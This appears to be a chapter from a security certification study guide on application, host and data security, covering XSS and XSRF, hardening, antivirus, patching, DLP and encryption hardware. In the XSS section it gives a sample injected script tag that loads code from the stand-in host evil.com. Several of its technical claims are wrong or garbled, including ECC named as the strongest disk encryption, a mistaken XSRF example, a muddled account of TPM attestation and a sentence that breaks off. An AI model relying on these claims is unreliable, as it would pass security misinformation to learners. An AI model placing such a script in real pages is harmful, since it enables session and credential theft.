Chapter 4 – Application, Data and Host Security

4.1 Application Security

Application Security Concepts
Concepts include fuzzing, secure coding, cross-site scripting prevention, cross-site request forgery (XSRF) prevention, application configuration baselines, application hardening, and application patch management.

Fuzzing
A fuzzer/fault injector is an application that discovers security vulnerabilities by sending random input strings to a program. A vulnerability is discovered if that input results in an exception, crash or server error. This fuzzing/fuzz testing discovers vulnerabilities to buffer overflow, DoS, SQL/DLL/LDAP injection, XSS, and format string attacks. The format string attack causes an application to interpret an input string as a command.

Secure Coding Concepts
Exception handling takes care of special conditions that change the normal flow of program execution. Code walkthroughs and software testing can catch more exceptional conditions such as bad input to functions, memory and data errors. An attacker creating errors will get responses from exception handling that can be used to determine parameters such as the type of operating system and the type of database. Poor exception handling creates vulnerabilities too many attacks, such as buffer overflows, XSS, and DOS. Poor error handling could cause data leakage from web based applications. Input validation insures that only valid data can be entered into a form or application. Input validation has not been done properly if a user entering improper input is able to compromise the integrity of data.

Cross-Site Scripting (XSS) Prevention
In Cross-Site Scripting, malicious browser scripts are injected when a user fills out a form or clicks on a link at a trusted web site. The scripts can access any browser information such as Web site passwords. XSS example:
<script>source=http://evil.com/evil.js</script>
XSS can be mitigated by input validation; for instance, preventing the use of HTML tags.
Cross-Site Request Forgery (XSRF) Prevention
While XSS exploits the trust a user has for a Web site, XSRF exploits the trust that a Web site has for a browser. Unauthorized commands are transmitted from the browser. An example of XSRF is harvesting passwords from the web browser's cache. The attack works by including a link or script in a page that accesses a secure site to which the user has been previously authenticated. One preventative measure is a synchronizer token pattern which generates random challenge tokens. Another preventative measure is double submitted cookies in which the session ID cookie is sent first as header value, and second as a hidden form value.

Application Configuration Baseline
Application configuration baselines ensure a secure initial configuration for programs. This would include the version, any patches, and permissions on the application. The application would be hashed to make sure that it has not been modified. There might be a hash rule which specifies that only approved hash versions of applications will be enabled.

Application Hardening Methods
In process spawning control the application loses the ability to launch another executable. Executable files protection stops the application from modifying executable files. In system tampering protection, the application is only allowed to modify necessary registry keys, and is blocked from modifying system files.

Application Hardening Examples
In application hardening a database administrator could be required to manually change the default administrative password, remove a default database, and adjust permissions on specific files. Application hardening was missing from operational procedures if a penetration test reveals that database servers were compromised with an account with a default password.

Application Patch Management
Operating systems, browsers, and applications should be patched. Windows Update patches only the operating system, while Microsoft Update also patches the browser and other applications such as Microsoft Office. Patches should be only be applied to production systems after vetting them in a test environment that duplicates the production environment.

4.2 Host Security

Host Security Elements
Host security elements include operating system security, protection from malware, performing patch management, enforcing strong hardware security, as well as robust host software base-lining, protection of mobile devices, and secure implementation of virtualization.
Operating System Security Measures
Security measures include using a contemporary OS and applying the latest patches once they have been tested. Other protective measures consist of the usage of personal firewalls, HIPS, and antivirus. Measures that bolster security include closing unneeded ports and protocols as well as limiting applications to those necessary, changing system defaults including passwords, disabling remote administration, limiting physical access, setting strong passwords and account lockout policies, securing file systems and the registry with limited user permissions, using EFS, and whole disk encryption, as well as creating and enforcing a security baseline with tools such as Security Configuration and Analysis.

Anti-Malware
Anti malware software includes the following programs / program features: anti-virus, anti-spam, anti-spyware, and pop-up blockers. The security applications that should be used by traveling employees include: anti-spam, a personal software firewall, and antivirus.

Antivirus
An enterprise antivirus suite should be deployed within an environment which has a centralized management station to deploy the latest antivirus definitions, and which also has the ability to scan email attachments at the email gateway. Antivirus software and IDS/IPS require frequent signature updates. If a user does not have the latest antivirus definitions, they might discover after a long business trip that their laptop is having performance issues and unauthorized emails are being sent from their account. To aid in preventing the execution of malicious code in email clients spam and antivirus filters should be used. Use only tested and approved antivirus software. If you get a pop-up message stating that antivirus software should be downloaded from a website to clean an infection, do not do this, this is an example of social engineering. In general, antivirus software can detect and delete downloaded malware. However, antivirus software may not be able to detect malware that uses virtualization techniques as it may be running at a more privileged level than the antivirus software.

Anti-Spam
Spam is unwanted email with advertising. An anti-spam solution prevents unsolicited email messages from entering the company’s network. SPAM can also be blocked at an email gateway. An organization should close open relays on their email servers so that they do not send spam and get on a real-time black hole list. The best place for an anti-spam filter is in front of the mail relay server. If a user cannot find a legitimate email, he should check his junk email settings and folder.

Anti-Spyware
Spyware transmits PII (Personal Information) from your computer to Internet sites without your knowledge. Spyware negatively affects confidentiality. Spyware might be the issue, if a user has recently updated their antivirus, and now, after accessing several different Internet sites, their computer is running slow. Spybot Search and Destroy is a free, but robust anti-spyware scanner. It can be used without affecting antivirus software.

Pop-up Blockers
Pop-up blockers protect against non-malicious but irritating malware. Pop-up blockers mitigate the security threat of adware. A pop-up blocker would stop ads from
appearing in new windows for sites that are not safe for work.

**Host-Based IDS/IPS**

HIDs (Host Based Intrusion Detection) do logging and alerting on a host. HIPs (Host Based Intrusion Prevention) are like antivirus software on steroids. They can log off a user, disable an account, stop a write to the registry, and stop a process or an application from launching. A HIDS would alert an administrator if a specific server within the company’s network is being attacked. A HIPS would also block that attack.

**Host-Based Firewalls**

A host-based firewall (also called a personal or software firewall) is a program that protects a single Internet-connected computer from intruders. They are particularly useful when users have a continuous DSL or cable modem connection. It would give remote users the needed protection from outside attacks, as well as help prevent a system from being fingerprinted by port scans. It is an efficient way to secure a single laptop from an external attack. A software firewall can restrict a computer from receiving network traffic, and can mitigate port scanning attacks from the Internet. It stops attackers when they are outside of the company’s internal network. For example, a personal firewall would explain why an employee keeps getting pop-ups from a program on their computer stating it blocked an attacking IP address.

**Patch Management**

A patch fixes bugs in their programs, addresses security problems, or adds functionality. A hot fix is an unscheduled release of a patch that fixes a critical issue such as a vulnerability. Hot fixes are not fully tested. A service pack is a fully tested set of patches. It updates a network machine with a number of vendor fixes concurrently. An enterprise patch management system should be used. Patches are downloaded to a patch management server, tested, approved, and pushed out to client machines. The last step in patch management is auditing to ensure patches have been installed on all workstations. A personal firewall might block patch installation. A service pack ensures that all major software revisions have been installed on a critical computer. All current service packs and hotfixes should be re-applied if a computer was reimaged. A hotfix should be released quickly outside a normal update cycle if a security flaw allows backdoor access into the system.

Virtual servers and their hosts should have the latest service packs and patches applied. Patch management includes mitigating security risks by updating and applying hot fixes. Outdated versions of software would indicate weak patch management. Patch management helps ensure that there are no security holes in the OS. It would apply various fixes on different applications and protects against operating system security flaws. Documenting the security assessment and decision in patch development means that the reason for patch development is documented and that security goals are met. Regression testing and deployment are part of patch development and deployment. In regression testing the software developer of a new patch tests it before releasing it to make sure that it does not negatively affect the patched application or OS. Patch management ensures that all systems have the most up-to-date software version available. Disseminating a patch management policy would give administrators a clear timeline of when patches must be installed. The three major activities of patch management are determining which patches are needed, applying the patches, and auditing for the successful application of the patches.
Hardware Security Components
The elements of robust hardware security include a locked server room, locking cabinets, a safe, cable locks, security screws, and computer case intrusion detection.

Host Software Base-lining
A host software baseline is a secure starting point. Base-lining software includes MBSA (Microsoft Baseline Security Analyzer) and Nessus. Whenever major changes to software are made the baseline should be adjusted. A security template is used to both deploy and reapply baseline security configurations. Another way to apply a software baseline is disk imaging.

Mobile Device Security Features
Mobile device security features include screen lock, strong passwords, device encryption, remote wipe/sanitation, voice encryption, GPS tracking, and antivirus.

Mobile Device Security Examples
A mobile device should erase itself after a set number of invalid password attempts. Voice encryption should be implemented on a mobile phone to help prevent a conversation from being captured. Device encryption should be enforced on mobile devices to prevent data loss from stolen devices. Remote sanitization would mitigate the risk of stolen classified mobile devices. Screen lock will prevent viewing the home screen on a mobile device if left momentarily unattended.

Virtualization
Virtualization reduces the footprint of resources that must be protected. Both the host and guest OSs should be patched. The guest OS has the same security requirements and the host OS. A single physical server hosting multiple virtual machines is a single point of failure. Multiple physical hosts increase availability and fault tolerance.

4.3 Data Security
Data Security Elements
Components of data security include data loss prevention (DLP), data encryption, hardware based encryption devices, and cloud computing.

Data Loss Prevention (DLP)
DLP systems monitor and protect data whether it is at rest, in use, or in motion. DLP techniques include content inspection, and analysis of transactions within a centralized management framework. DLP goals include detection and prevention of unauthorized use of confidential information. Install a network-based DLP device to reduce the risk of employees emailing confidential data outside of the company.

Data Encryption
Full disk using Bitlocker, two partitions, and a TPM Security Device (Trusted Platform Module). Database encryption using transparent data encryption (TDE) in SQL Server 2008, or third party encryption products. Individual files and folders using EFS. Removable media using WinMagic’s SecureDoc, McAfee Endpoint Encryption, or Bitlocker in Windows 7, or Windows Server 2008 R2. Mobile device encryption...
elliptical curve cryptography (ECC) has the lowest processing requirements and extends battery life.

**Hardware Based Encryption Devices**

TPM (Trusted Platform Module) - Securely generates encryption keys. Its remote attestation feature creates a hash the hardware and software so that the TPM will not work if moved to another computer. HSM (Hardware Security Module) - Safely store asymmetric key pairs and offload cryptographic processing from application servers.

USB encryption - Is essential as USB sticks are easily lost or stolen. Built-in hardware encryption is more secure and faster than software encryption. Hard drive Asymmetrical encryption such as ECC is the strongest encryption for a hard drive. Symmetrical encryption such as AES is the most common and the quickest. A HSM is the most secure way of storing keys or digital certificates used for encryption/decryption of SSL sessions. A HSM is a removable device that may be used to encrypt in a high availability clustered environment. A TPM is a hardware chip that stores encryption keys. It is used in conjunction with software-based encryption and enhances platform authentication by storing unique RSA keys and providing cryptoprocessing. It would prevent a user from losing the encryption key to their laptop hard drive.

**Cloud Computing**

Cloud computing outsources some of or virtually all datacenter features to a service provider. It is elastic, on-demand, and can save money. But the company loses full control over their data. Blended systems and data add complexity which can reduce security. A 2011 service interruption at Amazon Web Services raised doubts about cloud computing.